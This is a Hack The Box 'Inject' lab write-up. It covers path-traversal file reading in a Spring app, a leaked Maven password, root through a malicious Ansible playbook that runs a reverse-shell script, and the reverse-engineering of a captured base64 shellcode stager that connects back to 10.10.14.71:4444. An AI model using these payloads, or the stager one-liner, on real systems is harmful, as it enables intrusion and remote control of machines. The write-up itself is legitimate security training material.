INDEX



Inject box HTB

Enumeration

  • nmap -A -p- -T4 10.10.11.204
      PORT     STATE SERVICE     VERSION
      22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey: 
      |   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
      |   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
      |_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
      8080/tcp open  nagios-nsca Nagios NSCA
      |_http-title: Home
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  • gobuster dir -u http://inject.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      /register             (Status: 200) [Size: 5654]
      /blogs                (Status: 200) [Size: 5371]
      /upload               (Status: 200) [Size: 1857]
      /environment          (Status: 500) [Size: 712]
      /error                (Status: 500) [Size: 106]
      /release_notes        (Status: 200) [Size: 1086]
      /show_image           (Status: 400) [Size: 194]
    
  • gobuster dns -d inject.htb -t 50 -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt
    
    
  • gobuster vhost -u http://inject.htb:8080/ -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt
      Found: gc._msdcs Status: 400 [Size: 435]
      Found: _domainkey Status: 400 [Size: 435]
    
  • I try the file upload functionality:
      <form action="/upload" method="post" enctype="multipart/form-data">
          <input class="form-control" name="file" type="file" id="formFile"><br />
    
          <input type="submit" value="Upload" class="btn btn-warning">
      </form>
    

    I create a test txt file with test inside and I upload it

      POST /upload HTTP/1.1
      Host: inject.htb:8080
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      Accept-Encoding: gzip, deflate
      Content-Type: multipart/form-data; boundary=---------------------------21847287539462960801171425640
      Content-Length: 223
      Origin: http://inject.htb:8080
      DNT: 1
      Connection: close
      Referer: http://inject.htb:8080/upload
      Upgrade-Insecure-Requests: 1
    
      -----------------------------21847287539462960801171425640
      Content-Disposition: form-data; name="file"; filename="test.png"
      Content-Type: text/plain
    
      test
    
      -----------------------------21847287539462960801171425640--
    

    On the website I can see:

      <a class="text-success" href="/show_image?img=test.png">View your Image</a>
    

    I open the image and this error appears:

      <img src="http://inject.htb:8080/show_image?img=test.png" alt="The image “http://inject.htb:8080/show_image?img=test.png” cannot be displayed because it contains errors.">
    

    The above error is browser-level, so I’m using Python to see what’s actually going on:

      import requests
    
      with open('test.png', 'w') as f:
          f.write('test')
    
      with open('test.png', 'rb') as f:
          r = requests.post(
              'http://inject.htb:8080/upload/',
              files={'file': f},
              data={'filename':'test.png'}
          )
    
      r = requests.get('http://inject.htb:8080/show_image?img=test.png')
      print(r.text)
    

    Output:

      test
    
  • I edit the path to see if I get any errors: http://inject.htb:8080/show_image?img=test.png/etc/passwd
      {"timestamp":"2023-04-02T16:26:58.789+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/test.png/etc/passwd] cannot be resolved in the file system for checking its content length","path":"/show_image"}
    

    Found the path where the web app is hosted: /var/www/WebApp/src/main/

  • Maybe there is a LFI: http://inject.htb:8080/show_image?img=../../../../../../../etc/passwd
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
      systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
      systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
      messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
      syslog:x:104:110::/home/syslog:/usr/sbin/nologin
      _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
      tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
      uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
      tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
      landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
      pollinate:x:110:1::/var/cache/pollinate:/bin/false
      usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
      systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
      frank:x:1000:1000:frank:/home/frank:/bin/bash
      lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
      sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
      phil:x:1001:1001::/home/phil:/bin/bash
      fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
      _laurel:x:997:996::/var/log/laurel:/bin/false
    
  • I’m looking for the source files:
      import requests
      import json
      import sys
    
      wordlist = sys.argv[1]
      lfipath = sys.argv[2]
      ext = sys.argv[3]
    
      with open(wordlist, 'r') as f:
          lines = f.readlines()
    
      for i in range(len(lines)):
          l = lines[i].strip()
          print(f'[{i}/{len(lines)}] /show_image?img={lfipath}{l}{ext}')
          r = requests.get(f'http://inject.htb:8080/show_image?img={lfipath}{l}{ext}')
          try:
              json.loads(r.text)
          except ValueError:
              with open('founds.txt', 'a') as ff:
                  ff.write(f'filepath: {lfipath}{l}{ext}\n')
                  ff.write(f'content:\n{r.text}\n')
                  ff.write(f'-'*50)
                  ff.write('\n')
    

    I use the two wordlists:


  • While searching for the source files, I noticed that the responses from the web server are delayed by a few seconds and above all that the response is none other than an ls of the selected directory. So for this reason the script can be reduced to a trivial one:
      import requests
      import sys
    
      r = requests.get(sys.argv[1])
      print(r.text)
    
  • python3 httpget.py "http://inject.htb:8080/show_image?img=../"
      java
      resources
      uploads
    

    So server side java is present, I keep on enumerating

  • python3 httpget.py "http://inject.htb:8080/show_image?img=../java"
      com
      META-INF
    
  • python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com"
      example
    
  • python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example"
      WebApp
    
  • python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp"
      user
      WebAppApplication.java
    

    WebAppApplication.java

      package com.example.WebApp;
      import org.springframework.boot.SpringApplication;
      import org.springframework.boot.autoconfigure.SpringBootApplication;
    
    
      @SpringBootApplication
      public class WebAppApplication {
    
              public static void main(String[] args) {
                      SpringApplication.run(WebAppApplication.class, args);
              }
      }
    

    Nothing interesting.

  • python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp/user"
      User.java
      UserController.java
    

    User.java

      //package com.example.WebApp.user;
      //
      //import org.hibernate.annotations.GeneratorType;
      //import org.hibernate.annotations.ValueGenerationType;
      //
      //import javax.persistence.*;
      //
      //@Entity
      //@Table(name = "zodd_users")
      //public class User {
      //    @Id
      //    @GeneratedValue(strategy = GenerationType.IDENTITY)
      //    private Long id;
      //
      //    @Column(nullable = false, unique = true, length = 45)
      //    private String email;
      //
      //    public String getPassword() {
      //        return password;
      //    }
      //
      //    public void setPassword(String password) {
      //        this.password = password;
      //    }
      //
      //    @Column(nullable = false, length = 64)
      //    private String password;
      //    private String firstName;
      //    private String lastName;
      //
      //    public Long getId() {
      //        return id;
      //    }
      //
      //    public void setId(Long id) {
      //        this.id = id;
      //    }
      //
      //    public String getEmail() {
      //        return email;
      //    }
      //
      //    public void setEmail(String email) {
      //        this.email = email;
      //    }
      //
      //    public String getFirstName() {
      //        return firstName;
      //    }
      //
      //    public void setFirstName(String firstName) {
      //        this.firstName = firstName;
      //    }
      //
      //    public String getLastName() {
      //        return lastName;
      //    }
      //
      //    public void setLastName(String lastName) {
      //        this.lastName = lastName;
      //    }
      //}
    

    UserController.java

      package com.example.WebApp.user;
    
      import org.springframework.core.io.Resource;
      import org.springframework.core.io.UrlResource;
    
      import org.springframework.http.MediaType;
      import org.springframework.http.ResponseEntity;
      import org.springframework.stereotype.Controller;
    
    
      import java.nio.file.Path;
      import org.springframework.ui.Model;
    
      import org.springframework.util.StringUtils;
      import org.springframework.web.bind.annotation.*;
      import org.springframework.web.multipart.MultipartFile;
    
      import javax.activation.*;
      import java.io.*;
      import java.net.MalformedURLException;
      import java.nio.file.Files;
    
      import java.nio.file.Paths;
      import java.nio.file.StandardCopyOption;
    
      @Controller
      public class UserController {
    
          private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";
    
          @GetMapping("")
          public String homePage(){
              return "homepage";
          }
    
          @GetMapping("/register")
          public String signUpFormGET(){
              return "under";
          }
    
          @RequestMapping(value = "/upload", method = RequestMethod.GET)
          public String UploadFormGet(){
              return "upload";
          }
    
          @RequestMapping(value = "/show_image", method = RequestMethod.GET)
          public ResponseEntity getImage(@RequestParam("img") String name) {
              String fileName = UPLOADED_FOLDER + name;
              Path path = Paths.get(fileName);
              Resource resource = null;
              try {
                  resource = new UrlResource(path.toUri());
              } catch (MalformedURLException e){
                  e.printStackTrace();
              }
              return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
          }
    
          @PostMapping("/upload")
          public String Upload(@RequestParam("file") MultipartFile file, Model model){
              String fileName = StringUtils.cleanPath(file.getOriginalFilename());
              if (!file.isEmpty() && !fileName.contains("/")){
                  String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
                  String type = mimetype.split("/")[0];
                  if (type.equals("image")){
    
                      try {
                          Path path = Paths.get(UPLOADED_FOLDER+fileName);
                          Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
                      } catch (IOException e){
                          e.printStackTrace();
                      }
                      model.addAttribute("name", fileName);
                      model.addAttribute("message", "Uploaded!");
                  } else {
                      model.addAttribute("message", "Only image files are accepted!");
                  }
                    
              } else {
                  model.addAttribute("message", "Please Upload a file!");
              }
              return "upload";
          }
    
          @GetMapping("/release_notes")
          public String changelog(){
              return "change";
          }
    
          @GetMapping("/blogs")
          public String blogPage(){
              return "blog";
          }
            
      }
    

    springframework is used and in the db maybe there could be a table named zodd_users



  • python3 httpget.py "http://inject.htb:8080/show_image?img=../resources"
      application.properties
      media
      META-INF
      static
      templates
    

    application.properties

      server.tomcat.relaxed-query-chars=|,{,},[,]
      server.error.whitelabel.enabled=false
      spring.main.allow-circular-references=true
      spring.servlet.multipart.max-file-size=1MB
      spring.servlet.multipart.max-request-size=2MB
      spring.cloud.config.uri=
      spring.cloud.config.allow-override=true
      debug=false
      server.error.include-message=always
    

    Ok, tomcat is used as web server.



  • python3 httpget.py "http://inject.htb:8080/show_image?img=../uploads"
      test.png
    



  • I go up again to see other files: python3 httpget.py "http://inject.htb:8080/show_image?img=../../"
      main
      test
    
  • python3 httpget.py "http://inject.htb:8080/show_image?img=../../../"
      .classpath
      .DS_Store
      .idea
      .project
      .settings
      HELP.md
      mvnw
      mvnw.cmd
      pom.xml
      src
      target
    

    pom.xml

      <?xml version="1.0" encoding="UTF-8"?>
      <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
              <modelVersion>4.0.0</modelVersion>
              <parent>
                      <groupId>org.springframework.boot</groupId>
                      <artifactId>spring-boot-starter-parent</artifactId>
                      <version>2.6.5</version>
                      <relativePath/> <!-- lookup parent from repository -->
              </parent>
              <groupId>com.example</groupId>
              <artifactId>WebApp</artifactId>
              <version>0.0.1-SNAPSHOT</version>
              <name>WebApp</name>
              <description>Demo project for Spring Boot</description>
              <properties>
                      <java.version>11</java.version>
              </properties>
              <dependencies>
                      <dependency>
                              <groupId>com.sun.activation</groupId>
                              <artifactId>javax.activation</artifactId>
                              <version>1.2.0</version>
                      </dependency>
    
                      <dependency>
                              <groupId>org.springframework.boot</groupId>
                              <artifactId>spring-boot-starter-thymeleaf</artifactId>
                      </dependency>
                      <dependency>
                              <groupId>org.springframework.boot</groupId>
                              <artifactId>spring-boot-starter-web</artifactId>
                      </dependency>
    
                      <dependency>
                              <groupId>org.springframework.boot</groupId>
                              <artifactId>spring-boot-devtools</artifactId>
                              <scope>runtime</scope>
                              <optional>true</optional>
                      </dependency>
    
                      <dependency>
                              <groupId>org.springframework.cloud</groupId>
                              <artifactId>spring-cloud-function-web</artifactId>
                              <version>3.2.2</version>
                      </dependency>
                      <dependency>
                              <groupId>org.springframework.boot</groupId>
                              <artifactId>spring-boot-starter-test</artifactId>
                              <scope>test</scope>
                      </dependency>
                      <dependency>
                              <groupId>org.webjars</groupId>
                              <artifactId>bootstrap</artifactId>
                              <version>5.1.3</version>
                      </dependency>
                      <dependency>
                              <groupId>org.webjars</groupId>
                              <artifactId>webjars-locator-core</artifactId>
                      </dependency>
    
              </dependencies>
              <build>
                      <plugins>
                              <plugin>
                                      <groupId>org.springframework.boot</groupId>
                                      <artifactId>spring-boot-maven-plugin</artifactId>
                                      <version>${parent.version}</version>
                              </plugin>
                      </plugins>
                      <finalName>spring-webapp</finalName>
              </build>
    
      </project>
    

    Googling “spring boot 2.6.5 exploit” I find: https://github.com/ckkok/spring4shell-poc (CVE-2022-22965)

    Other useful links:

      Impacted systems have the following traits:
    
      Running JDK 9.0 or later
      Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions
      Apache Tomcat as the Servlet container:
          Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted
          Tomcat has spring-webmvc or spring-webflux dependencies
    

    From the pom.xml file I see that neither of the two dependencies are present: spring-webmvc or spring-webflux. So this vulnerability is not exploitable on this system!





Privesc frank

  • I run linpeas.sh
      ╔══════════╣ Cleaned processes
      ╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes 
      frank        826  3.5 10.0 3606460 401272 ?      Ssl  06:55   3:28 /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
    
      ╔══════════╣ Searching root files in home dirs (limit 30)
      /home/                                                                
      /home/phil/.bash_history
      /home/phil/user.txt
      /home/frank/.bash_history
      /home/frank/.m2/settings.xml
      /root/
    
      ╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
      -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml
        
      ╔══════════╣ Readable files belonging to root and readable by me but not world readable
      -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml
    
      ╔══════════╣ Unexpected in /opt (usually empty)
      total 12
        
      drwxr-xr-x  3 root root 4096 Oct 20  2022 .
      drwxr-xr-x 18 root root 4096 Feb  1 18:38 ..
      drwxr-xr-x  3 root root 4096 Oct 20  2022 automation
    

    /home/frank/.m2/settings.xml

      <?xml version="1.0" encoding="UTF-8"?>
      <settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
      <servers>
          <server>
          <id>Inject</id>
          <username>phil</username>
          <password>DocPhillovestoInject123</password>
          <privateKey>${user.home}/.ssh/id_dsa</privateKey>
          <filePermissions>660</filePermissions>
          <directoryPermissions>660</directoryPermissions>
          <configuration></configuration>
          </server>
      </servers>
      </settings>
    

    sshpass -p 'DocPhillovestoInject123' ssh phil@inject.htb … it does not work!

    In the /etc/ssh/sshd_config file there is DenyUsers phil so I can only login with su - phil.



Privesc root

  • I monitor processes with pspy64

      2023/04/25 18:46:01 CMD: UID=0     PID=70651  | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 
      2023/04/25 18:46:01 CMD: UID=0     PID=70650  | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/ev.yml /opt/automation/tasks/playbook_1.yml 
      2023/04/25 18:46:01 CMD: UID=0     PID=70649  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
      2023/04/25 18:46:01 CMD: UID=0     PID=70655  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
      2023/04/25 18:46:01 CMD: UID=0     PID=70653  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/ev.yml 
      2023/04/25 18:46:01 CMD: UID=0     PID=70657  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
    

    All YAML files in /opt/automation/tasks/ folder are executed, can I write to them?

    ls -al /opt/automation/

      drwxrwxr-x 2 root staff 4096 Apr 25 21:14 tasks
    

    id

      uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
    

    find / -group staff 2>/dev/null

      /opt/automation/tasks
      /root
    

    ls -al /

      drwx------   6 root staff  4096 Mar  6 13:15 root
    

    I just have to create an evil YAML file:

      - hosts: localhost
        tasks:
          - name: RShell
            command: bash /tmp/revshell.sh
    



Extra (just for fun)

  • While running pspy64 I stumbled upon this command and couldn’t resist reversing the binary:
      2023/04/25 17:22:42 CMD: UID=1000  PID=26889  | /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/ccXxY.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64' ; chmod +x '/tmp/ACsmb' ; '/tmp/ACsmb' ; rm -f '/tmp/ACsmb' ; rm -f '/tmp/ccXxY.b64'
    

    Spread over several lines it becomes:

      /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== >> '/tmp/ccXxY.b64'
        
      ((which base64 >&2 && base64 -d -) ||\
      (which base64 >&2 && base64 --decode -) ||\
      (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) ||\
      (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') ||\
      (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)'))\ 2> /dev/null > '/tmp/ACsmb' < '/tmp/ccXxY.b64'
        
      chmod +x '/tmp/ACsmb'
    
      '/tmp/ACsmb'
        
      rm -f '/tmp/ACsmb'
      rm -f '/tmp/ccXxY.b64'
    

    I disassemble the binary: objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/ACsmb

      ACsmb:     file format binary
    
    
      Disassembly of section .data:
    
      00000000 <.data>:
      0:   7f 45                   jg     0x47
      2:   4c                      rex.WR
      3:   46 02 01                rex.RX add r8b,BYTE PTR [rcx]
      6:   01 00                   add    DWORD PTR [rax],eax
              ...
      10:   02 00                   add    al,BYTE PTR [rax]
      12:   3e 00 01                ds add BYTE PTR [rcx],al
      15:   00 00                   add    BYTE PTR [rax],al
      17:   00 78 00                add    BYTE PTR [rax+0x0],bh
      1a:   40 00 00                rex add BYTE PTR [rax],al
      1d:   00 00                   add    BYTE PTR [rax],al
      1f:   00 40 00                add    BYTE PTR [rax+0x0],al
              ...
      32:   00 00                   add    BYTE PTR [rax],al
      34:   40 00 38                add    BYTE PTR [rax],dil
      37:   00 01                   add    BYTE PTR [rcx],al
      39:   00 00                   add    BYTE PTR [rax],al
      3b:   00 00                   add    BYTE PTR [rax],al
      3d:   00 00                   add    BYTE PTR [rax],al
      3f:   00 01                   add    BYTE PTR [rcx],al
      41:   00 00                   add    BYTE PTR [rax],al
      43:   00 07                   add    BYTE PTR [rdi],al
              ...
      51:   00 40 00                add    BYTE PTR [rax+0x0],al
      54:   00 00                   add    BYTE PTR [rax],al
      56:   00 00                   add    BYTE PTR [rax],al
      58:   00 00                   add    BYTE PTR [rax],al
      5a:   40 00 00                rex add BYTE PTR [rax],al
      5d:   00 00                   add    BYTE PTR [rax],al
      5f:   00 fa                   add    dl,bh
      61:   00 00                   add    BYTE PTR [rax],al
      63:   00 00                   add    BYTE PTR [rax],al
      65:   00 00                   add    BYTE PTR [rax],al
      67:   00 7c 01 00             add    BYTE PTR [rcx+rax*1+0x0],bh
      6b:   00 00                   add    BYTE PTR [rax],al
      6d:   00 00                   add    BYTE PTR [rax],al
      6f:   00 00                   add    BYTE PTR [rax],al
      71:   10 00                   adc    BYTE PTR [rax],al
      73:   00 00                   add    BYTE PTR [rax],al
      75:   00 00                   add    BYTE PTR [rax],al
      77:   00 31                   add    BYTE PTR [rcx],dh
      79:   ff 6a 09                jmp    FWORD PTR [rdx+0x9]
      7c:   58                      pop    rax
      7d:   99                      cdq
      7e:   b6 10                   mov    dh,0x10
      80:   48 89 d6                mov    rsi,rdx
      83:   4d 31 c9                xor    r9,r9
      86:   6a 22                   push   0x22
      88:   41 5a                   pop    r10
      8a:   6a 07                   push   0x7
      8c:   5a                      pop    rdx
      8d:   0f 05                   syscall
      8f:   48 85 c0                test   rax,rax
      92:   78 51                   js     0xe5
      94:   6a 0a                   push   0xa
      96:   41 59                   pop    r9
      98:   50                      push   rax
      99:   6a 29                   push   0x29
      9b:   58                      pop    rax
      9c:   99                      cdq
      9d:   6a 02                   push   0x2
      9f:   5f                      pop    rdi
      a0:   6a 01                   push   0x1
      a2:   5e                      pop    rsi
      a3:   0f 05                   syscall
      a5:   48 85 c0                test   rax,rax
      a8:   78 3b                   js     0xe5
      aa:   48 97                   xchg   rdi,rax
      ac:   48 b9 02 00 11 5c 0a    movabs rcx,0x470e0a0a5c110002
      b3:   0a 0e 47 
      b6:   51                      push   rcx
      b7:   48 89 e6                mov    rsi,rsp
      ba:   6a 10                   push   0x10
      bc:   5a                      pop    rdx
      bd:   6a 2a                   push   0x2a
      bf:   58                      pop    rax
      c0:   0f 05                   syscall
      c2:   59                      pop    rcx
      c3:   48 85 c0                test   rax,rax
      c6:   79 25                   jns    0xed
      c8:   49 ff c9                dec    r9
      cb:   74 18                   je     0xe5
      cd:   57                      push   rdi
      ce:   6a 23                   push   0x23
      d0:   58                      pop    rax
      d1:   6a 00                   push   0x0
      d3:   6a 05                   push   0x5
      d5:   48 89 e7                mov    rdi,rsp
      d8:   48 31 f6                xor    rsi,rsi
      db:   0f 05                   syscall
      dd:   59                      pop    rcx
      de:   59                      pop    rcx
      df:   5f                      pop    rdi
      e0:   48 85 c0                test   rax,rax
      e3:   79 c7                   jns    0xac
      e5:   6a 3c                   push   0x3c
      e7:   58                      pop    rax
      e8:   6a 01                   push   0x1
      ea:   5f                      pop    rdi
      eb:   0f 05                   syscall
      ed:   5e                      pop    rsi
      ee:   6a 7e                   push   0x7e
      f0:   5a                      pop    rdx
      f1:   0f 05                   syscall
      f3:   48 85 c0                test   rax,rax
      f6:   78 ed                   js     0xe5
      f8:   ff e6                   jmp    rsi
    

    Debugging: gdb ACsmb

    I load the program at the first instruction: starti

    I look at the next 15 instructions that will be executed: display /15i $pc

      =>  0x400078:    xor    %edi,%edi
          0x40007a:    push   $0x9
          0x40007c:    pop    %rax
          0x40007d:    cltd
          0x40007e:    mov    $0x10,%dh
          0x400080:    mov    %rdx,%rsi
          0x400083:    xor    %r9,%r9
          0x400086:    push   $0x22
          0x400088:    pop    %r10
          0x40008a:    push   $0x7
          0x40008c:    pop    %rdx
          0x40008d:    syscall
          0x40008f:    test   %rax,%rax
          0x400092:    js     0x4000e5
          0x400094:    push   $0xa
    

    Ok I’m here:

      7c:   58                      pop    rax
      7d:   99                      cdq
      7e:   b6 10                   mov    dh,0x10
      80:   48 89 d6                mov    rsi,rdx
      83:   4d 31 c9                xor    r9,r9
      86:   6a 22                   push   0x22
      88:   41 5a                   pop    r10
      8a:   6a 07                   push   0x7
      8c:   5a                      pop    rdx
      8d:   0f 05                   syscall
      8f:   48 85 c0                test   rax,rax
      92:   78 51                   js     0xe5
      94:   6a 0a                   push   0xa
    

    I put breakpoints before each syscall to retrieve the number of the called function in the rax register:

      0x40008c:    pop    %rdx
      0x40008d:    syscall
      ...
      0x4000a2:    pop    %rsi
      0x4000a3:    syscall
      ...
      0x4000bf:    pop    %rax
      0x4000c0:    syscall
      ...
      0x4000d8:    xor    %rsi,%rsi
      0x4000db:    syscall
      ...
      0x4000ea:    pop    %rdi
      0x4000eb:    syscall
    
    • b *0x40008d
        rax            0x9                 9
        rdi            0x0                 0
        rsi            0x1000              4096
        rdx            0x7                 7
        r10            0x22                34
        r8             0x0                 0
        r9             0x0                 0
      

      The site that I used to understand the syscalls parameters: https://filippo.io/linux-syscall-table/

        9	mmap	sys_mmap
        %rdi -> unsigned long addr	
        %rsi -> unsigned long len
        %rdx -> unsigned long prot
        %r10 -> unsigned long flags
        %r8	->  unsigned long fd
        %r9 ->  unsigned long off
      

      So it’s: mmap ( NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );

    • b *0x4000a3
        rax            0x29                41
        rdi            0x2                 2
        rsi            0x1                 1
        rdx            0x0                 0
      
        41	socket	sys_socket
        %rdi -> int family
        %rsi -> int type
        %rdx -> int protocol
      

      So it’s: socket ( AF_INET, SOCK_STREAM, NULL );

      in the third parameter 0 indicates that the caller does not want to specify the protocol and will leave it up to the service provider.

    • b *0x4000c0
        rax            0x2a                42
        rdi            0x3                 3
        rsi            0x7fffffffdec0      140737488346816
        rdx            0x10                16
      
        42	connect	sys_connect
        %rdi -> int fd
        %rsi -> struct sockaddr __user * uservaddr
        %rdx -> int addrlen
      

      https://pubs.opengroup.org/onlinepubs/7908799/xns/syssocket.h.html

        struct sockaddr{
            sa_family_t   sa_family       address family
            char          sa_data[]       socket address (variable-length data)
        };
      

      I print the two bytes of sa_family_t: x/2bd 0x7fffffffdeb0

        2
      

      sa_family has value 2, so it’s AF_INET, nothing new!

      sa_data as it says addrlen is 16 bytes so I print them: x/16bx 0x7fffffffdeb0+2

        0x7fffffffdeb2: 0x11    0x5c    0x0a    0x0a    0x0e    0x47    0x00    0x80
        0x7fffffffdeba: 0xff    0xf7    0xff    0x7f    0x00    0x00    0x02    0x00 
      

      Looking at the network traffic I can understand the meaning of these bytes:

      • 0x11 0x5c = 4444 = DST PORT
      • 0x0a 0x0a 0x0e 0x47 = 10.10.14.71 = DST IP

      So it’s: connect ( 3, "10.10.14.71:4444", 16 );

      The syscall does not generate traffic and crashes, skip it by going to the instruction after: jump *0x4000c2

      Or I could create a virtual interface with IP address 10.10.14.71 which will refuse the connection.

    • b *0x4000db
        rax            0x23                35
        rdi            0x7fffffffdeb0      140737488346800
        rsi            0x0                 0
      
        35	nanosleep	sys_nanosleep
        %rdi -> struct timespec __user * rqtp
        %rsi -> struct timespec __user * rmtp
      
        struct timespec {
            time_t tv_sec;        /* seconds */
            long   tv_nsec;       /* nanoseconds */
        };
      

      time_t matches a signed integer so I print its value with x/wd 0x7fffffffdeb0

        5
      

      I do the same for the second value: x/gd 0x7fffffffdeb0+4

        0
      
    • I stop before the while true JMP: b *0x4000e3

      And next I jump to the next instruction: j *0x4000e5

    • b *0x4000eb
        rax            0x3c                60
        rdi            0x1                 1
      
        60	exit	sys_exit
        %rdi -> int error_code
      

      So it’s: exit ( 1 );

  • A faster method but that gives me less freedom: strace ./ACsmb
      execve("./ACsmb", ["./ACsmb"], 0x7ffd18247980 /* 59 vars */) = 0
